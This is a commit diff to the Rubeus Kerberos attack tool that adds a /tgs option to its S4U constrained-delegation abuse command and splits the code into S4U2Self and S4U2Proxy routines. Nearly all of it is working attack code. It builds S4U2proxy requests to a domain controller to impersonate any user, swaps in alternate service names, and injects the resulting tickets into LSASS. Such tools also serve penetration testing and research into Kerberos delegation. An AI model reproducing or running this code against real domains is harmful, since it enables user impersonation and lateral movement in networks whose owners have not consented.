Support loading TGS from kirbi instead of performing S4U2Self

master
Elad Shamir 2018-10-24 11:18:55 +00:00
parent 8549a3bae2
commit 10689dfff3
3 changed files with 233 additions and 177 deletions

View File

@ -19,6 +19,7 @@ namespace Rubeus.Commands
bool ptt = false;
string dc = "";
Interop.KERB_ETYPE encType = Interop.KERB_ETYPE.subkey_keymaterial; // throwaway placeholder, changed to something valid
KRB_CRED tgs = null;
if (arguments.ContainsKey("/user"))
{
@ -57,6 +58,11 @@ namespace Rubeus.Commands
}
if (arguments.ContainsKey("/impersonateuser"))
{
if (arguments.ContainsKey("/tgs"))
{
Console.WriteLine("\r\n[X] You must supply either a /impersonateuser or a /tgs, but not both.\r\n");
return;
}
targetUser = arguments["/impersonateuser"];
}
@ -70,13 +76,37 @@ namespace Rubeus.Commands
altSname = arguments["/altservice"];
}
if (arguments.ContainsKey("/tgs"))
{
string kirbi64 = arguments["/tgs"];
if (Helpers.IsBase64String(kirbi64))
{
byte[] kirbiBytes = Convert.FromBase64String(kirbi64);
tgs = new KRB_CRED(kirbiBytes);
}
else if (File.Exists(kirbi64))
{
byte[] kirbiBytes = File.ReadAllBytes(kirbi64);
tgs = new KRB_CRED(kirbiBytes);
}
else
{
Console.WriteLine("\r\n[X] /tgs:X must either be a .kirbi file or a base64 encoded .kirbi\r\n");
return;
}
targetUser = tgs.enc_part.ticket_info[0].pname.name_string[0];
}
if (String.IsNullOrEmpty(domain))
{
domain = System.Net.NetworkInformation.IPGlobalProperties.GetIPGlobalProperties().DomainName;
}
if (String.IsNullOrEmpty(targetUser))
if (String.IsNullOrEmpty(targetUser) && tgs == null)
{
Console.WriteLine("\r\n[X] You must supply a /impersonateuser to impersonate!\r\n");
Console.WriteLine("\r\n[X] You must supply a /tgs to impersonate!\r\n");
Console.WriteLine("[X] Alternatively, supply a /impersonateuser to perform S4U2Self first.\r\n");
return;
}
if (String.IsNullOrEmpty(targetSPN))
@ -93,13 +123,13 @@ namespace Rubeus.Commands
{
byte[] kirbiBytes = Convert.FromBase64String(kirbi64);
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
S4U.Execute(kirbi, targetUser, targetSPN, ptt, dc, altSname);
S4U.Execute(kirbi, targetUser, targetSPN, ptt, dc, altSname, tgs);
}
else if (File.Exists(kirbi64))
{
byte[] kirbiBytes = File.ReadAllBytes(kirbi64);
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
S4U.Execute(kirbi, targetUser, targetSPN, ptt, dc, altSname);
S4U.Execute(kirbi, targetUser, targetSPN, ptt, dc, altSname, tgs);
}
else
{
@ -119,7 +149,7 @@ namespace Rubeus.Commands
return;
}
S4U.Execute(user, domain, hash, encType, targetUser, targetSPN, ptt, dc, altSname);
S4U.Execute(user, domain, hash, encType, targetUser, targetSPN, ptt, dc, altSname, tgs);
return;
}
else

View File

@ -35,8 +35,8 @@ namespace Rubeus.Domain
Console.WriteLine(" Rubeus.exe changepw </ticket:BASE64 | /ticket:FILE.KIRBI> /new:PASSWORD [/dc:DOMAIN_CONTROLLER]");
Console.WriteLine("\r\n Perform S4U constrained delegation abuse:");
Console.WriteLine(" Rubeus.exe s4u </ticket:BASE64 | /ticket:FILE.KIRBI> /impersonateuser:USER /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/ptt]");
Console.WriteLine(" Rubeus.exe s4u /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] /impersonateuser:USER /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/ptt]");
Console.WriteLine(" Rubeus.exe s4u </ticket:BASE64 | /ticket:FILE.KIRBI> </impersonateuser:USER | /tgs:BASE64 | /tgs:FILE.KIRBI> /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/ptt]");
Console.WriteLine(" Rubeus.exe s4u /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] </impersonateuser:USER | /tgs:BASE64 | /tgs:FILE.KIRBI> /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/ptt]");
Console.WriteLine("\r\n Submit a TGT, optionally targeting a specific LUID (if elevated):");
Console.WriteLine(" Rubeus.exe ptt </ticket:BASE64 | /ticket:FILE.KIRBI> [/luid:LOGINID]");

View File

@ -7,7 +7,7 @@ namespace Rubeus
{
public class S4U
{
public static void Execute(string userName, string domain, string keyString, Interop.KERB_ETYPE etype, string targetUser, string targetSPN, bool ptt, string domainController = "", string altService = "")
public static void Execute(string userName, string domain, string keyString, Interop.KERB_ETYPE etype, string targetUser, string targetSPN, bool ptt, string domainController = "", string altService = "", KRB_CRED tgs = null)
{
// first retrieve a TGT for the user
byte[] kirbiBytes = Ask.TGT(userName, domain, keyString, etype, false, domainController);
@ -26,23 +26,24 @@ namespace Rubeus
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
// execute the s4u process
Execute(kirbi, targetUser, targetSPN, ptt, domainController, altService);
Execute(kirbi, targetUser, targetSPN, ptt, domainController, altService, tgs);
}
public static void Execute(KRB_CRED kirbi, string targetUser, string targetSPN, bool ptt, string domainController = "", string altService = "")
public static void Execute(KRB_CRED kirbi, string targetUser, string targetSPN, bool ptt, string domainController = "", string altService = "", KRB_CRED tgs = null)
{
Console.WriteLine("[*] Action: S4U\r\n");
// extract out the info needed for the TGS-REQ/S4U2Self execution
string userName = kirbi.enc_part.ticket_info[0].pname.name_string[0];
string domain = kirbi.enc_part.ticket_info[0].prealm;
Ticket ticket = kirbi.tickets[0];
byte[] clientKey = kirbi.enc_part.ticket_info[0].key.keyvalue;
Interop.KERB_ETYPE etype = (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype;
string dcIP = Networking.GetDCIP(domainController);
if (String.IsNullOrEmpty(dcIP)) { return; }
Console.WriteLine("[*] Building S4U2self request for: '{0}\\{1}'", domain, userName);
if (tgs != null)
{
Console.WriteLine("[*] Loaded TGS for '{0}\\{1}' to '{2}/{3}'", tgs.enc_part.ticket_info[0].prealm, tgs.enc_part.ticket_info[0].pname.name_string[0], tgs.enc_part.ticket_info[0].sname.name_string[0], tgs.tickets[0].sname.name_string[1]);
S4U2Proxy(kirbi, targetUser, targetSPN, ptt, domainController, altService, tgs.tickets[0]);
}
else
{
S4U2Self(kirbi, targetUser, targetSPN, ptt, domainController, altService);
}
}
private static void S4U2Proxy(KRB_CRED kirbi, string targetUser, string targetSPN, bool ptt, string domainController = "", string altService = "", Ticket tgs = null)
{
Console.WriteLine("[*] Impersonating user '{0}' to target SPN '{1}'", targetUser, targetSPN);
if (!String.IsNullOrEmpty(altService))
{
@ -57,177 +58,81 @@ namespace Rubeus
}
}
byte[] tgsBytes = TGS_REQ.NewTGSReq(userName, domain, userName, ticket, clientKey, etype, false, targetUser);
// extract out the info needed for the TGS-REQ/S4U2Proxy execution
string userName = kirbi.enc_part.ticket_info[0].pname.name_string[0];
string domain = kirbi.enc_part.ticket_info[0].prealm;
Ticket ticket = kirbi.tickets[0];
byte[] clientKey = kirbi.enc_part.ticket_info[0].key.keyvalue;
Interop.KERB_ETYPE etype = (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype;
Console.WriteLine("[*] Sending S4U2self request");
byte[] response = Networking.SendBytes(dcIP, 88, tgsBytes);
if (response == null)
string dcIP = Networking.GetDCIP(domainController);
if (String.IsNullOrEmpty(dcIP)) { return; }
Console.WriteLine("[*] Building S4U2proxy request for service: '{0}'", targetSPN);
TGS_REQ s4u2proxyReq = new TGS_REQ();
PA_DATA padata = new PA_DATA(domain, userName, ticket, clientKey, etype);
s4u2proxyReq.padata.Add(padata);
PA_DATA pac_options = new PA_DATA(false, false, false, true);
s4u2proxyReq.padata.Add(pac_options);
s4u2proxyReq.req_body.kdcOptions = s4u2proxyReq.req_body.kdcOptions | Interop.KdcOptions.CNAMEINADDLTKT;
s4u2proxyReq.req_body.realm = domain;
string[] parts = targetSPN.Split('/');
string serverName = parts[1];
s4u2proxyReq.req_body.sname.name_type = 2;
// the sname
s4u2proxyReq.req_body.sname.name_string.Add(parts[0]);
// the server
s4u2proxyReq.req_body.sname.name_string.Add(serverName);
// supported encryption types
s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1);
s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.aes256_cts_hmac_sha1);
s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac);
// add in the ticket from the S4U2self response
s4u2proxyReq.req_body.additional_tickets.Add(tgs);
byte[] s4ubytes = s4u2proxyReq.Encode().Encode();
Console.WriteLine("[*] Sending S4U2proxy request");
byte[] response2 = Networking.SendBytes(dcIP, 88, s4ubytes);
if (response2 == null)
{
return;
}
// decode the supplied bytes to an AsnElt object
// false == ignore trailing garbage
AsnElt responseAsn = AsnElt.Decode(response, false);
AsnElt responseAsn = AsnElt.Decode(response2, false);
// check the response value
int responseTag = responseAsn.TagValue;
if (responseTag == 13)
{
Console.WriteLine("[+] S4U2self success!");
Console.WriteLine("[+] S4U2proxy success!");
// parse the response to an TGS-REP
TGS_REP rep = new TGS_REP(responseAsn);
TGS_REP rep2 = new TGS_REP(responseAsn);
// https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L62
byte[] outBytes = Crypto.KerberosDecrypt(etype, 8, clientKey, rep.enc_part.cipher);
AsnElt ae = AsnElt.Decode(outBytes, false);
EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]);
byte[] outBytes2 = Crypto.KerberosDecrypt(etype, 8, clientKey, rep2.enc_part.cipher);
AsnElt ae2 = AsnElt.Decode(outBytes2, false);
EncKDCRepPart encRepPart2 = new EncKDCRepPart(ae2.Sub[0]);
// TODO: ensure the cname contains the name of the user! otherwise s4u not supported
Console.WriteLine("[*] Building S4U2proxy request for service: '{0}'", targetSPN);
TGS_REQ s4u2proxyReq = new TGS_REQ();
PA_DATA padata = new PA_DATA(domain, userName, ticket, clientKey, etype);
s4u2proxyReq.padata.Add(padata);
PA_DATA pac_options = new PA_DATA(false, false, false, true);
s4u2proxyReq.padata.Add(pac_options);
s4u2proxyReq.req_body.kdcOptions = s4u2proxyReq.req_body.kdcOptions | Interop.KdcOptions.CNAMEINADDLTKT;
s4u2proxyReq.req_body.realm = domain;
string[] parts = targetSPN.Split('/');
string serverName = parts[1];
s4u2proxyReq.req_body.sname.name_type = 2;
// the sname
s4u2proxyReq.req_body.sname.name_string.Add(parts[0]);
// the server
s4u2proxyReq.req_body.sname.name_string.Add(serverName);
// supported encryption types
s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1);
s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.aes256_cts_hmac_sha1);
s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac);
// add in the ticket from the S4U2self response
s4u2proxyReq.req_body.additional_tickets.Add(rep.ticket);
byte[] s4ubytes = s4u2proxyReq.Encode().Encode();
Console.WriteLine("[*] Sending S4U2proxy request");
byte[] response2 = Networking.SendBytes(dcIP, 88, s4ubytes);
if (response2 == null)
if (!String.IsNullOrEmpty(altService))
{
return;
}
string[] altSnames = altService.Split(',');
// decode the supplied bytes to an AsnElt object
// false == ignore trailing garbage
AsnElt responseAsn2 = AsnElt.Decode(response2, false);
// check the response value
int responseTag2 = responseAsn2.TagValue;
if (responseTag2 == 13)
{
Console.WriteLine("[+] S4U2proxy success!");
// parse the response to an TGS-REP
TGS_REP rep2 = new TGS_REP(responseAsn2);
// https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L62
byte[] outBytes2 = Crypto.KerberosDecrypt(etype, 8, clientKey, rep2.enc_part.cipher);
AsnElt ae2 = AsnElt.Decode(outBytes2, false);
EncKDCRepPart encRepPart2 = new EncKDCRepPart(ae2.Sub[0]);
if (!String.IsNullOrEmpty(altService))
foreach (string altSname in altSnames)
{
string[] altSnames = altService.Split(',');
foreach (string altSname in altSnames)
{
// now build the final KRB-CRED structure with one or more alternate snames
KRB_CRED cred = new KRB_CRED();
// since we want an alternate sname, first substitute it into the ticket structure
rep2.ticket.sname.name_string[0] = altSname;
// add the ticket
cred.tickets.Add(rep2.ticket);
// build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart
KrbCredInfo info = new KrbCredInfo();
// [0] add in the session key
info.key.keytype = encRepPart2.key.keytype;
info.key.keyvalue = encRepPart2.key.keyvalue;
// [1] prealm (domain)
info.prealm = encRepPart2.realm;
// [2] pname (user)
info.pname.name_type = rep2.cname.name_type;
info.pname.name_string = rep2.cname.name_string;
// [3] flags
info.flags = encRepPart2.flags;
// [4] authtime (not required)
// [5] starttime
info.starttime = encRepPart2.starttime;
// [6] endtime
info.endtime = encRepPart2.endtime;
// [7] renew-till
info.renew_till = encRepPart2.renew_till;
// [8] srealm
info.srealm = encRepPart2.realm;
// [9] sname
info.sname.name_type = encRepPart2.sname.name_type;
info.sname.name_string = encRepPart2.sname.name_string;
// if we want an alternate sname, substitute it into the encrypted portion of the KRB_CRED
Console.WriteLine("[*] Substituting alternative service name '{0}'", altSname);
info.sname.name_string[0] = altSname;
// add the ticket_info into the cred object
cred.enc_part.ticket_info.Add(info);
byte[] kirbiBytes = cred.Encode().Encode();
string kirbiString = Convert.ToBase64String(kirbiBytes);
Console.WriteLine("[*] base64(ticket.kirbi) for SPN '{0}/{1}':\r\n", altSname, serverName);
// display the .kirbi base64, columns of 80 chararacters
foreach (string line in Helpers.Split(kirbiString, 80))
{
Console.WriteLine(" {0}", line);
}
if (ptt)
{
// pass-the-ticket -> import into LSASS
LSA.ImportTicket(kirbiBytes);
}
}
}
else
{
// now build the final KRB-CRED structure, no alternate snames
// now build the final KRB-CRED structure with one or more alternate snames
KRB_CRED cred = new KRB_CRED();
// if we want an alternate sname, first substitute it into the ticket structure
if (!String.IsNullOrEmpty(altService))
{
rep2.ticket.sname.name_string[0] = altService;
}
// since we want an alternate sname, first substitute it into the ticket structure
rep2.ticket.sname.name_string[0] = altSname;
// add the ticket
cred.tickets.Add(rep2.ticket);
@ -268,6 +173,10 @@ namespace Rubeus
info.sname.name_type = encRepPart2.sname.name_type;
info.sname.name_string = encRepPart2.sname.name_string;
// if we want an alternate sname, substitute it into the encrypted portion of the KRB_CRED
Console.WriteLine("[*] Substituting alternative service name '{0}'", altSname);
info.sname.name_string[0] = altSname;
// add the ticket_info into the cred object
cred.enc_part.ticket_info.Add(info);
@ -275,7 +184,7 @@ namespace Rubeus
string kirbiString = Convert.ToBase64String(kirbiBytes);
Console.WriteLine("[*] base64(ticket.kirbi) for SPN '{0}':\r\n", targetSPN);
Console.WriteLine("[*] base64(ticket.kirbi) for SPN '{0}/{1}':\r\n", altSname, serverName);
// display the .kirbi base64, columns of 80 chararacters
foreach (string line in Helpers.Split(kirbiString, 80))
@ -289,15 +198,75 @@ namespace Rubeus
}
}
}
else if (responseTag2 == 30)
{
// parse the response to an KRB-ERROR
KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]);
Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code);
}
else
{
Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag);
// now build the final KRB-CRED structure, no alternate snames
KRB_CRED cred = new KRB_CRED();
// if we want an alternate sname, first substitute it into the ticket structure
if (!String.IsNullOrEmpty(altService))
{
rep2.ticket.sname.name_string[0] = altService;
}
// add the ticket
cred.tickets.Add(rep2.ticket);
// build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart
KrbCredInfo info = new KrbCredInfo();
// [0] add in the session key
info.key.keytype = encRepPart2.key.keytype;
info.key.keyvalue = encRepPart2.key.keyvalue;
// [1] prealm (domain)
info.prealm = encRepPart2.realm;
// [2] pname (user)
info.pname.name_type = rep2.cname.name_type;
info.pname.name_string = rep2.cname.name_string;
// [3] flags
info.flags = encRepPart2.flags;
// [4] authtime (not required)
// [5] starttime
info.starttime = encRepPart2.starttime;
// [6] endtime
info.endtime = encRepPart2.endtime;
// [7] renew-till
info.renew_till = encRepPart2.renew_till;
// [8] srealm
info.srealm = encRepPart2.realm;
// [9] sname
info.sname.name_type = encRepPart2.sname.name_type;
info.sname.name_string = encRepPart2.sname.name_string;
// add the ticket_info into the cred object
cred.enc_part.ticket_info.Add(info);
byte[] kirbiBytes = cred.Encode().Encode();
string kirbiString = Convert.ToBase64String(kirbiBytes);
Console.WriteLine("[*] base64(ticket.kirbi) for SPN '{0}':\r\n", targetSPN);
// display the .kirbi base64, columns of 80 chararacters
foreach (string line in Helpers.Split(kirbiString, 80))
{
Console.WriteLine(" {0}", line);
}
if (ptt)
{
// pass-the-ticket -> import into LSASS
LSA.ImportTicket(kirbiBytes);
}
}
}
else if (responseTag == 30)
@ -311,5 +280,62 @@ namespace Rubeus
Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag);
}
}
private static void S4U2Self(KRB_CRED kirbi, string targetUser, string targetSPN, bool ptt, string domainController = "", string altService = "")
{
// extract out the info needed for the TGS-REQ/S4U2Self execution
string userName = kirbi.enc_part.ticket_info[0].pname.name_string[0];
string domain = kirbi.enc_part.ticket_info[0].prealm;
Ticket ticket = kirbi.tickets[0];
byte[] clientKey = kirbi.enc_part.ticket_info[0].key.keyvalue;
Interop.KERB_ETYPE etype = (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype;
string dcIP = Networking.GetDCIP(domainController);
if (String.IsNullOrEmpty(dcIP)) { return; }
Console.WriteLine("[*] Building S4U2self request for: '{0}\\{1}'", domain, userName);
byte[] tgsBytes = TGS_REQ.NewTGSReq(userName, domain, userName, ticket, clientKey, etype, false, targetUser);
Console.WriteLine("[*] Sending S4U2self request");
byte[] response = Networking.SendBytes(dcIP, 88, tgsBytes);
if (response == null)
{
return;
}
// decode the supplied bytes to an AsnElt object
// false == ignore trailing garbage
AsnElt responseAsn = AsnElt.Decode(response, false);
// check the response value
int responseTag = responseAsn.TagValue;
if (responseTag == 13)
{
Console.WriteLine("[+] S4U2self success!");
// parse the response to an TGS-REP
TGS_REP rep = new TGS_REP(responseAsn);
// https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L62
byte[] outBytes = Crypto.KerberosDecrypt(etype, 8, clientKey, rep.enc_part.cipher);
AsnElt ae = AsnElt.Decode(outBytes, false);
EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]);
// TODO: ensure the cname contains the name of the user! otherwise s4u not supported
S4U2Proxy(kirbi, targetUser, targetSPN, ptt, domainController, altService, rep.ticket);
}
else if (responseTag == 30)
{
// parse the response to an KRB-ERROR
KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]);
Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code);
}
else
{
Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag);
}
}
}
}